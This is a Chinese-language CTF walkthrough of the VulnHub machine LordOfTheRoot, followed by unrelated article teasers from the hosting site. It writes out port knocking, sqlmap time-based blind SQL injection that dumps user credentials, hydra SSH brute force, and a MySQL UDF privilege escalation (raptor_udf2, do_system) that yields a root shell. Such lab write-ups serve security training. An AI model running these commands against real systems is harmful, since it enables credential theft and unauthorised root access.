vulnhub(13):LordOfTheRoot(sql时间盲注、mysql udf提权)

端口

nmap主机发现
nmap -sn 192.168.72.0/24
​
Nmap scan report for 192.168.72.170
Host is up (0.00020s latency).
​
170是新出现的机器,他就是靶机
nmap端口扫描
nmap -Pn 192.168.72.170 -p- --min-rate 10000 -oA nmap/scan
扫描开放端口保存到 nmap/scan下
​
PORT      STATE SERVICE                                                                                    
22/tcp open  ssh                                                     发现开放1个端口
nmap -Pn -sU 192.168.72.170 -p- --min-rate 
尝试udp扫描,当然结果什么都没有
​
说不定ssh可以登录:
ssh 192.168.72.170

看字:knock friend to enter
简单介绍一下:knock工作就是管理员设定的按照一定规则去按顺序去knock某些端口后,会执行管理员写好的代码
主要用于隐蔽,在这里很可能是knock某些端口后,会执行其他开放端口的代码
(介绍一下应用场景,与当前靶机无关,比如为了隐蔽使ssh端口默认处于关闭状态,knock特定规则的端口ssh端口开启,然后为了再次隐蔽,knock特定端口使得ssh用完后关闭,当然knock端口可以由管理员设置)
​
看到下方的 Easy as 1,2,3
我们直接:knock 192.168.72.170 1 2 3 
​
nmap再扫描一次
PORT     STATE SERVICE
22/tcp   open  ssh
1337/tcp open  waste
​
nmap -sT -sC -sV -O -p22,1337 -oA nmap/info 192.168.72.170 
​
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 3c3de38e35f9da7420efaa494a1deddd (DSA)
|   2048 85946c87c9a8350f2cdbbbc13f2a50c1 (RSA)
|   256 f3cdaa1d05f21e8c618725b6f4344537 (ECDSA)
|_  256 34ec16dda7cf2a8645ec65ea05438921 (ED25519)
1337/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).

立足

主页是张图片,主页源代码页面就是图片链接,其他什么都没有,尝试查看其他目录
​
robots.txt:
居然也是张图片,查看源代码页面:
​
<html>
<img src="/images/hipster.jpg" align="middle">
<!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh>
</html>
​
推荐网站:https://hashes.com/zh/decrypt/hash
​
THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh:Lzk3ODM0NTIxMC9pbmRleC5waHA
​
Lzk3ODM0NTIxMC9pbmRleC5waHA:/978345210/index.php

抓包sqlmap跑一下,sqlmap真吊,站在巨人得肩膀上
​
POST /978345210/ HTTP/1.1
Host: 192.168.72.170:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://192.168.72.170:1337
Connection: close
Referer: http://192.168.72.170:1337/978345210/
Cookie: PHPSESSID=hniik3khi6l5fh1f9asb58sk30
Upgrade-Insecure-Requests: 1
​
username=asdas&password=asdasd&submit=+Login+
sqlmap -r raj --batch --dbs --time-sec 1
​
这里--time-sec 1是因为发现了时间盲注,为了节约时间设置等待时间为1
​
4个数据库
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] Webapp
​
看Webapp数据库:sqlmap -r raj --batch --dbs -D Webapp -tables --time-sec 1
​
一个表:
Database: Webapp
[1 table]
+-------+
| Users |
+-------+
​
看这个表的字段:
sqlmap -r raj --batch --dbs -D Webapp -T Users --columns --time-sec 1 
Database: Webapp
Table: Users
[3 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| id       | int(10)      |
| password | varchar(255) |
| username | varchar(255) |
+----------+--------------+
​
字段不多直接--dump-all这张表:sqlmap -r raj --batch --dbs -D Webapp -T Users --dump-all --time-sec 1
​
Database: Webapp
Table: Users
[5 entries]
+----+------------------+----------+
| id | password         | username |
+----+------------------+----------+
| 1  | iwilltakethering | frodo    |
| 2  | MyPreciousR00t   | smeagol  |
| 3  | AndMySword       | aragorn  |
| 4  | AndMyBow         | legolas  |
| 5  | AndMyAxe         | gimli    |
+----+------------------+----------+
制作字典
将
+----+------------------+----------+
| id | password         | username |
+----+------------------+----------+
| 1  | iwilltakethering | frodo    |
| 2  | MyPreciousR00t   | smeagol  |
| 3  | AndMySword       | aragorn  |
| 4  | AndMyBow         | legolas  |
| 5  | AndMyAxe         | gimli    |
+----+------------------+----------+
放在user_pass.txt
​
然后分别制作password.txt 和username.txt字典:
cat user_pass.txt | awk -F '|' {'print $3'} | tr -d ' ' > password.txt
cat user_pass.txt | awk -F '|' {'print $4'} | tr -d ' ' > username.txt
hydra爆破
hydra -L username.txt -P password.txt 192.168.72.170 ssh 
​
结果:[22][ssh] host: 192.168.72.170   login: smeagol   password: MyPreciousR00t

提权

有sql注入我们直接前往:/var/www
​
在/var/www/978345210/login.php我们看到如下内容:
$db = new mysqli('localhost', 'root', 'darkshadow', 'Webapp');
​
mysql用root登录,看看是否udf提权
searchsploit mysql udf
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2) 
​
mysql udf是mysql的用户自定义函数,我们将函数存放在动态链接库中,那么这个动态链接库的所有者就是mysql创建udf时所使用的用户,恰好现在以root身份登录mysql,代表着我们能使用root将udf写入一个动态链接库,提权需要调用这个恶意函数,这还需要我们借助mysql的root权限来调用恶意函数
mysql udf提权步骤
1.编译:
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
​
2.登录:mysql -u root -p
​
3.创建表(这个表的作用就是借助mysql的root用户将恶意动态链接库写入/usr/lib/下):
mysql> use mysql;
mysql> create table foo(line blob);
​
4.写入恶意动态链接库:
mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
​
5.创建udf
mysql> create function do_system returns integer soname 'raptor_udf2.so';
​
6.查看是否成功
mysql> select * from mysql.func;
​
7.执行提权代码
mysql> select do_system('cp /bin/sh /tmp/rootsh;chmod +x /tmp/rootsh');
这里说明一下为什么不拷贝/bin/bash,因为执行后bash会比对ruid和euid是否相同,如果不相同就降权到ruid,我们执行的话ruid是smeagol而euid是root,降权到smeagol
​
root
cat Flag.txt
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf
mysql udf提权条件:
​
1.可登录的mysql用户具有root权限
2.secure_file_priv 有些设置选项:
SHOW VARIABLES LIKE 'secure_file_priv';
如果为空,不做目录限制,即任何目录均可以。
如果指定了目录,MySQL 会限制只能从该目录导入、或导出到该目录。目录必须已存在,MySQL 不会自动创建该目录。
如果设置为 NULL,MySQL 服务器禁止导入与导出功能。
​
次靶机
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/148563.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

Sony IMX334LQR-C 1/1.8寸 8.42 M像素

索尼IMX334LQR宽动态超星光级交通监测CMOS 封装&#xff1a;LGA 对⾓线&#xff1a;8.86 mm&#xff08;类型1/1.8&#xff09; 索尼IMX334LQR宽动态超星光级交通监测CMOS的参数及规格书资料&#xff1a; IMX334LQR-C是⼀个对⾓线8.86 mm&#xff08;类型1/1.8&#xff09;的…

帕金森病:这五大幕后推手,你了解多少?

在快节奏的现代生活中&#xff0c;健康问题日益受到公众的关注&#xff0c;而帕金森病作为一种常见的神经系统退行性疾病&#xff0c;更是牵动着无数家庭的心弦。今天&#xff0c;就让我们一起揭开帕金森病的神秘面纱&#xff0c;探讨其背后的五大主要原因&#xff0c;让更多人…

离散化c++

应用于数字取值范围很大&#xff0c;但数字个数很少的情况&#xff0c;原理是将要用到的数字放到一个连续的数组中&#xff0c;通过一个函数find得到数字和存放在数组中的下标的映射关系。 其中find函数的实现可以通过二分查找来实现&#xff1b; 练习题&#xff1a; 题意&…

Python 类型提示全解析:从入门到精通的必备技巧(如何让Python代码更清晰、错误更少)

文章目录 📖 介绍 📖🏡 演示环境 🏡📒 文章内容 📒📝 什么是类型提示?📝 类型提示的基本用法📝 高级用法📝 类型提示的工具和技巧📝 注意事项和最佳实践⚓️ 相关链接 ⚓️📖 介绍 📖 在编程的世界里,代码的清晰和可维护性是成功的关键。尤其是在 …

C++——关联式容器(5):哈希表

7.哈希表 7.1 哈希表引入 哈希表的出现依旧是为了查找方便而设计的。在顺序结构中&#xff0c;查询一个值需要一一比较&#xff0c;复杂度为O(N)&#xff1b;在平衡树中&#xff0c;查询变为了二分查找&#xff0c;复杂度为O(logN)&#xff1b;而对于哈希表&#xff0c;我们可…

SpringBoot简易商品管理系统

> 这是一个基于SpringBootThymeleaf实现的简易商品管理系统。 > 包含基本的登录/注册与商品管理功能。 > 界面简洁美观&#xff0c;代码结构清晰&#xff0c;适用于JAVA初学者在此基础上进行二次开发。 一、项目演示 二、技术框架 框架描述Spring Boot容器管理 S…

毫米波雷达预警功能 —— 开门预警(DOW)

文档声明&#xff1a; 以下资料均属于本人在学习过程中产出的学习笔记&#xff0c;如果错误或者遗漏之处&#xff0c;请多多指正。并且该文档在后期会随着学习的深入不断补充完善。感谢各位的参考查看。 笔记资料仅供学习交流使用&#xff0c;转载请标明出处&#xff0c;谢谢配…

16代现场实拍图

64*32 全彩 LED 点阵显示屏 无线通信868M&#xff0c;跳频通信 通信速率200K/50K 覆盖20-30米以上的通信半径 尺寸&#xff1a;192*96mm 供电方式&#xff1a;24V外置电源 储存温度&#xff1a;-40℃~80℃ 工作温度&#xff1a;-20℃~50℃ 自定义双向通信协议&#xff…

工业无线路由器组网方案:简单方便的工业组网方案

​一、项目背景 随着工业互联网的发展&#xff0c;越来越多的企业开始寻求高效、稳定的网络解决方案&#xff0c;以支持其生产和管理的数字化转型。工业无线路由器在这一过程中扮演着重要的角色。本文将详细介绍基于星创易联SR500工业无线路由器的组网方案&#xff0c;适用于制…

解锁2024年翻译在线Top4,让每一次交流都精准无误

现在世界就像个大家庭&#xff0c;交流多了&#xff0c;语言不通就成了问题。有道翻译在线就像桥梁&#xff0c;帮我们和全世界的朋友沟通。对企业来说&#xff0c;翻译准确太重要了&#xff0c;一句话翻错可能损失巨大。有道翻译在线技术强&#xff0c;各种语言都能搞定&#…

亲测好用,ChatGPT 3.5/4.0新手使用手册,最好论文指令手册~

本以为遥遥领先的GPT早就普及了&#xff0c;但小伙伴寻找使用的热度一直高居不下&#xff0c;其实现在很简单了&#xff01; 国产大模型快200家了&#xff0c;还有很多成熟的国内AI产品&#xff0c;跟官网一样使用&#xff0c;还更加好用~ ① 3.5 大多数场景是够用的&#xff…

【贪心算法】贪心算法二

贪心算法二 1.最长递增子序列2.递增的三元子序列3.最长连续递增序列 点赞&#x1f44d;&#x1f44d;收藏&#x1f31f;&#x1f31f;关注&#x1f496;&#x1f496; 你的支持是对我最大的鼓励&#xff0c;我们一起努力吧!&#x1f603;&#x1f603; 1.最长递增子序列 题目链…

从零基础到大模型大师,看完这篇,效率提高99%!!

一、 前置知识 - 数学&#xff1a;主要包括线性代数、概率统计等内容。 - 自然语言处理&#xff1a;主要包括Word2vec、Seq2seq等内容。 - Python&#xff1a;Python语言是大模型应用的编程基础&#xff0c;需要熟练掌握深度学习相关的框架&#xff0c;如PyTorch、TensorFlow。…

【C++ Primer Plus习题】17.1

大家好,这里是国中之林! ❥前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。有兴趣的可以点点进去看看← 问题: 解答: #include <iostream> using namespace std;int main() {char …

智慧城市主要运营模式分析

(一)运营模式演变 作为新一代信息化技术落地应用的新事物,智慧城市在建设模式方面借鉴了大量工程建设的经验,如平行发包(DBB,Design-Bid-Build)、EPC工程总承包、PPP等模式等,这些模式在不同的发展阶段和条件下发挥了重要作用。 在智慧城市发展模式从政府主导、以建为主、…

[数据集][目标检测]中草药类型识别检测数据集VOC+YOLO格式7976张45类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;7976 标注数量(xml文件个数)&#xff1a;7976 标注数量(txt文件个数)&#xff1a;7976 标注…

音乐项目,总结

今天的写的思路都挺简单的但是比较繁琐&#xff0c;这个查找&#xff0c;传文件的话可以了&#xff0c;但是没有用分片传送&#xff0c;然后在写音乐播放的处理&#xff0c;<歌单&#xff0c;二级评论&#xff0c;歌曲歌词滚轮播放>三个还没有实现&#xff0c;时间挺紧张…

[Angular] 从零开始使用 Angular CLI 创建 Angular 项目

一、安装 Node.js &#x1f4da; Node.js 是一个运行 JavaScript 代码的 JavaScript 运行时&#xff0c;它允许我们在服务器端运行 JavaScript 代码。以下是安装 Node.js 的步骤&#xff1a; &#x1f310; 访问 Node.js 国内网站&#xff1a;https://nodejs.cn/ &#x1f4…

【2023工业图像异常检测文献】SimpleNet

SimpleNet:ASimpleNetworkforImageAnomalyDetectionandLocalization 1、Background 图像异常检测和定位主要任务是识别并定位图像中异常区域。 工业异常检测最大的难题在于异常样本少&#xff0c;一般采用无监督方法&#xff0c;在训练过程中只使用正常样本。 解决工业异常检…

【CSS in Depth 2 精译_034】5.4 Grid 网格布局的显式网格与隐式网格(下)

当前内容所在位置&#xff08;可进入专栏查看其他译好的章节内容&#xff09; 第一章 层叠、优先级与继承&#xff08;已完结&#xff09; 1.1 层叠1.2 继承1.3 特殊值1.4 简写属性1.5 CSS 渐进式增强技术1.6 本章小结 第二章 相对单位&#xff08;已完结&#xff09; 2.1 相对…